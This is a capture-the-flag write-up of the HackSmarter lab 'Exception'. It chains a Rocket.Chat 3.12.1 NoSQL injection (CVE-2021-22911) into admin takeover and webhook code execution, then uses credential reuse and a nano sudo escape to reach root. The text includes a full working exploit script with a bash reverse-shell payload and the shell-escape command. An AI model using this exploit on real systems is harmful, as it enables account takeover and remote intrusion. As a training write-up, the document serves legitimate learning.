Syk0

Exception


This box is provided by HackSmarter https://www.hacksmarter.org/


Objective / Scope

As part of an internal penetration test, you have discovered a server handling sensitive corporate communications. Compromising this high-value target is key to demonstrating tangible risk to the client. Conduct a full-scope penetration test against the target IP to identify, exploit, and report on any existing vulnerabilities.


Overview

Exception is a medium-difficulty Linux machine from HackSmarter that simulates a real-world internal penetration test scenario targeting a corporate communications server. The attack chain involves discovering an outdated Rocket.Chat 3.12.1 instance running on port 3000, exploiting CVE-2021-22911 - a NoSQL injection vulnerability in the users API that allows a low-privilege user to leak internal tokens and ultimately take over an admin account. After gaining a foothold as the Rocket.Chat service account inside a Docker container, credentials found in a database backup file allow lateral movement to the host via SSH as the user Ron. Privilege escalation to root is achieved by abusing a custom sudo-permitted binary (/opt/log_inspector/check_log) that invokes nano, which can be escaped using a GTFOBins technique.

Key techniques:

  • Port scanning and service enumeration
  • Rocket.Chat version fingerprinting via API
  • NoSQL injection (CVE-2021-22911) for admin account takeover
  • TOTP secret extraction via $where injection
  • Password reset token abuse → admin login → webhook RCE
  • Docker escape via credential reuse
  • GTFOBins nano escape for privilege escalation

Recon

Port Scanning

We begin with a standard nmap scan using service and script detection. We run two scans in parallel: a quick default-port scan and a full all-ports scan to ensure nothing is missed.

sudo nmap -sC -sV -vv -oA tcp 10.0.21.66; sudo nmap -sC -sV -vv -p- -oA allports 10.0.21.66

The scan reveals three open ports:

  • Port 22 - OpenSSH (potential lateral movement target once credentials are found)
  • Port 80 - Apache HTTP server hosting a corporate-looking web page
  • Port 3000 - Rocket.Chat, an open-source team messaging platform

Port 3000 - Rocket.Chat

Navigating to port 3000 in the browser confirms a Rocket.Chat login page is running.

Port 80 - Apache Web Server with Chatbot

Port 80 hosts a static Apache-served webpage that includes what appears to be a customer-facing chat bot widget.

Inspecting the page source and network traffic reveals that the chatbot is purely client-side JavaScript with no server-side API interaction - it's a dead end for exploitation.

Rocket.Chat Version Fingerprinting

We return focus to Rocket.Chat on port 3000. Rocket.Chat exposes an unauthenticated /api/info endpoint that leaks version information. Browsing to this endpoint reveals the instance is running version 3.12.1.

This version is significant - it is known to be vulnerable to CVE-2021-22911.

User Enumeration via General Channel

We register a new account on the Rocket.Chat instance to gain access to internal channels. Inside the #general channel, we find a message that leaks:

This user is likely an administrator based on the context of the channel messages.


Foothold

CVE-2021-22911 - Rocket.Chat NoSQL Injection → Admin Account Takeover → RCE

Rocket.Chat 3.12.1 is vulnerable to CVE-2021-22911, a critical vulnerability involving NoSQL (MongoDB $where) injection in the /api/v1/users.list endpoint. A low-privilege authenticated user can inject arbitrary JavaScript into this query to extract sensitive internal fields from other user documents - including password reset tokens and TOTP secrets - without any admin privileges.

The attack chain is:

  1. Register or reuse a low-privilege account
  2. Use NoSQL injection to extract the admin's TOTP secret
  3. Trigger a forgot password request for the admin account (generates a reset token server-side)
  4. Use NoSQL injection again to extract the admin's password reset token
  5. Generate a valid TOTP code from the extracted secret
  6. Call the resetPassword method with the reset token and TOTP code to set a new password
  7. Log in as admin
  8. Create a malicious incoming webhook integration with a reverse shell payload to achieve RCE

We find a public proof-of-concept at: https://github.com/optionalCTF/Rocket.Chat-Automated-Account-Takeover-RCE-CVE-2021-22911/blob/master/exploit.py

The script requires modification to target the localh0ste admin account we discovered. We set the admin argument to [email protected].

Debugging the Exploit - Capturing TOTP Parameters via Burp

The exploit does not work out of the box. To understand the exact request format required for TOTP-based login, we intercept the Rocket.Chat password reset flow in the browser and proxy it through Burp Suite. This lets us inspect the raw request structure and identify the correct parameter names for the twoFactorCode and twoFactorMethod fields.

With those corrections applied, the final exploit script handles the full attack chain automatically:

import requests
import string
import time
import hashlib
import json
import oathtool
import argparse
import time
import mintotp
 
 
proxies = {
    "http": "127.0.0.1:8080",
    "https": "127.0.0.1:8080"
}
 
 
def login_as_admin(url, email, password, totp):
    sha256pass = hashlib.sha256(bytes(password, encoding='utf8')).hexdigest()
    payload = json.dumps({"message": json.dumps({
        "msg": "method", "method": "login",
        "params": [{"totp": {"login": {"user": {"username": email},
                             "password": {"digest": sha256pass, "algorithm": "sha-256"}},
                             "code": totp}}]})})
 
    headers={'content-type': 'application/json'}
    r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False, proxies=proxies)
    if "error" in r.text:
        exit("[-] Couldn't authenticate")
    temp = json.loads(r.text)
    data = json.loads(temp['message'])
    userid = data['result']['id']
    token = data['result']['token']
 
    return (userid, token)
 
def get_token_id(email, url, password):
    sha256pass = hashlib.sha256(bytes(password, encoding='utf8')).hexdigest()
    payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
    headers={'content-type': 'application/json'}
    r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False, proxies=proxies)
    if "error" in r.text:
        exit("[-] Couldn't authenticate")
    temp = json.loads(r.text)
    data = json.loads(temp['message'])
    userid = data['result']['id']
    token = data['result']['token']
 
    return (userid, token)
 
 
def create_user(url, email, password):
    username = email.split('@')[0]
    payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"registerUser\\",\\"params\\":[{\\"name\\":\\"'+ username +'\\",\\"email\\":\\"'+email+'\\",\\"pass\\":\\"'+ password +'\\",\\"confirm-pass\\":\\"'+ password +'\\"}],\\"id\\":\\"30\\"}"}'
    headers={'content-type': 'application/json'}
    r = requests.post(url+"/api/v1/method.callAnon/registerUser", data = payload, headers = headers, verify = False, allow_redirects = False, proxies=proxies)
    temp = json.loads(r.text)
    data = json.loads(temp['message'])
    if 'Email already exists' in r.text:
        print(f'[+] User: {email} exists')
        tokenData = get_token_id(email, url, password)
        return tokenData
    else:
        print(f"[+] {email} does not exist")
        userid = data['result']
        print("[+] Low Privilege User Created")
        print(f"[+] Username: {email}\n[+] Password: {password}")        
        tokenData = get_token_id(email,url,password)        
        return tokenData
 
 
def forgotpassword(url, admin_email):
    payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+admin_email+'\\"]}"}'
    headers={'content-type': 'application/json'}
    r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False, proxies=proxies)
    print("[+] Password Reset Email Sent")
 
 
def get_pass_reset_token(url, admin_user, low_user_id, low_user_token):
    cookies = {'rc_uid': low_user_id,'rc_token': low_user_token}
    headers={'X-User-Id': low_user_id,'X-Auth-Token': low_user_token}
    payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\''+admin_user+'\'+%26%26+(()%3d>{+throw+this.services.password.reset.token+})()"}'
    re = requests.get(url+payload,cookies=cookies,headers=headers, proxies=proxies)    
    if re.status_code == 400:
        d = json.loads(re.text)
        token = d['error'].replace('uncaught exception: ', '') 
        print(f"[+] Password Reset Token {token}")
        return token
 
 
def get_totp_token(url, admin_user, low_user_id, low_user_token):
    cookies = {'rc_uid': low_user_id,'rc_token': low_user_token}
    headers={'X-User-Id': low_user_id,'X-Auth-Token': low_user_token}
    payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\''+admin_user+'\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
    re = requests.get(url+payload,cookies=cookies,headers=headers, proxies=proxies)    
    if re.status_code == 400:
        d = json.loads(re.text)
        token = d['error'].replace('uncaught exception: ', '') 
        print(f"[+] TOTP {token}")
        return token
 
 
def change_admin_password(url, totp, pass_reset_token, password):       
    
    payload = json.dumps({"message": json.dumps({
        "msg": "method", "method": "resetPassword",
        "params": [pass_reset_token, password, {"twoFactorCode": totp, "twoFactorMethod": "totp"}]})})
 
    print(payload)
    headers={'content-type': 'application/json'}
    r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False, proxies=proxies)            
    print(f"\n[+] Password was changed to {password}")
 
 
def rce(url, admin_user, a_id, a_token, ip, port):    
    # Creating Integration
    payload = '{"enabled":true,"channel":"#general","username":"'+admin_user+'","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true, "script": "class Script {\\n\\n  process_incoming_request({ request }) {\\n\\n\\tconst require = console.log.constructor(\'return process.mainModule.require\')();\\n\\tconst { exec } = require(\'child_process\');\\n\\texec(\'bash -c \\\"bash -i >& /dev/tcp/' + str(ip) + '/' + str(port) + ' 0>&1\\\"\');\\n\\t}\\n}","type":"webhook-incoming"}'
    cookies = {'rc_uid': a_id,'rc_token': a_token}
    headers = {'X-User-Id': a_id,'X-Auth-Token': a_token}
    r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload, proxies=proxies)
    data = json.loads(r.text)
 
    token = data['integration']['token']
    _id = data['integration']['_id']
    print('[+] Sending Reverse Shell Integration')
    # Triggering RCE
    u = url + '/hooks/' + _id + '/' +token
    r = requests.get(u)
    if 'success' in r.text:
        print(f'[+] Shell for {ip}:{port} Has Executed!')
    else:
        print('[-] Error')
 
 
def main():
    parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
    parser.add_argument('-u', help='Low Privilege Email (If this user does not exist, it will be created)', required=True)
    parser.add_argument('-a', help='Admin Email Address', required=False)
    parser.add_argument('-H', help='URL (Eg: http://rocketchat.local)', required=True)
    parser.add_argument('-p', help='Set passwords for accounts', required=False)
    parser.add_argument('--ip', help='Your Listener IP', required=False)
    parser.add_argument('--port', help='Your Listener Port', required=False)
 
    parser.set_defaults(reset=False)
    args = parser.parse_args()
 
 
    admin = args.a
    user = args.u
    target = args.H
    ip = args.ip
    port = args.port
    if args.p == None:
        password = 'syk0'
    else:
        password = args.p
 
 
    admin_user = admin.split('@')[0]
    
    low_user = create_user(target, user, password)
    print(low_user)
   
    # get TOTP for admin 
    totp = get_totp_token(target, admin_user, low_user[0], low_user[1])
 
     # trigger forgot password function for admin
    forgotpassword(target, admin)
    
    # get pass reset from admin
    pass_reset_token = get_pass_reset_token(target, admin_user, low_user[0], low_user[1])
 
    change_admin_password(target, mintotp.totp(totp), pass_reset_token, password)
 
    a_user = login_as_admin(target, admin_user, password, mintotp.totp(totp))
 
    rce(target, admin_user, a_user[0], a_user[1], ip, port)
 
main()

Triggering the Shell

With a netcat listener running on port 8443, we execute the exploit against the target. The script creates a low-privilege user, extracts the admin's TOTP secret and password reset token via injection, resets the admin password, logs in as admin, then creates a malicious incoming webhook integration that fires a bash reverse shell callback.

python3 exploit.py -a [email protected] -H http://10.1.158.86:3000 --ip 10.200.45.160 --port 8443 -u [email protected]

We receive a shell as the Rocket.Chat service account.


Lateral Movement

Docker Container - Enumeration

After landing the shell, we immediately notice we are inside a Docker container rather than on the host system. The presence of a .dockerenv file at the filesystem root and the container-scoped network confirms this.

Credential Discovery - backup_db.txt

Enumerating the container filesystem, we find a file named backup_db.txt. This file contains database credentials or user credentials stored as part of a backup routine.

SSH Access as Ron

The credentials recovered from backup_db.txt are tested against the SSH service on port 22 of the host. The credentials are valid for the user Ron, granting us a shell directly on the host machine outside the container.


Privilege Escalation

Sudo Enumeration

Running sudo -l as Ron reveals a permitted command:

(root) NOPASSWD: /opt/log_inspector/check_log

Ron is allowed to run /opt/log_inspector/check_log as root without a password. This is a custom binary, so we investigate it further.

Binary Analysis - Strings

Running strings on the binary shows it performs some log-related operations and internally invokes nano - a terminal text editor. When a privileged process spawns an editor, that editor inherits the elevated privileges and can be abused to break out to a shell.

Executing the Binary

We run the binary with its --clean flag, which triggers the code path that opens nano:

sudo /opt/log_inspector/check_log --clean

We are dropped into a nano editor session running as root.

GTFOBins - Nano Shell Escape

Using the GTFOBins nano technique, we break out of the editor to a root shell. Inside nano, we use the built-in command execution feature:

  1. Press Ctrl+R then Ctrl+X to open the "Execute Command" prompt
  2. Enter a shell command to spawn a root shell: reset; sh 1>&0 2>&0

We now have a root shell on the host machine, completing the full compromise of the target.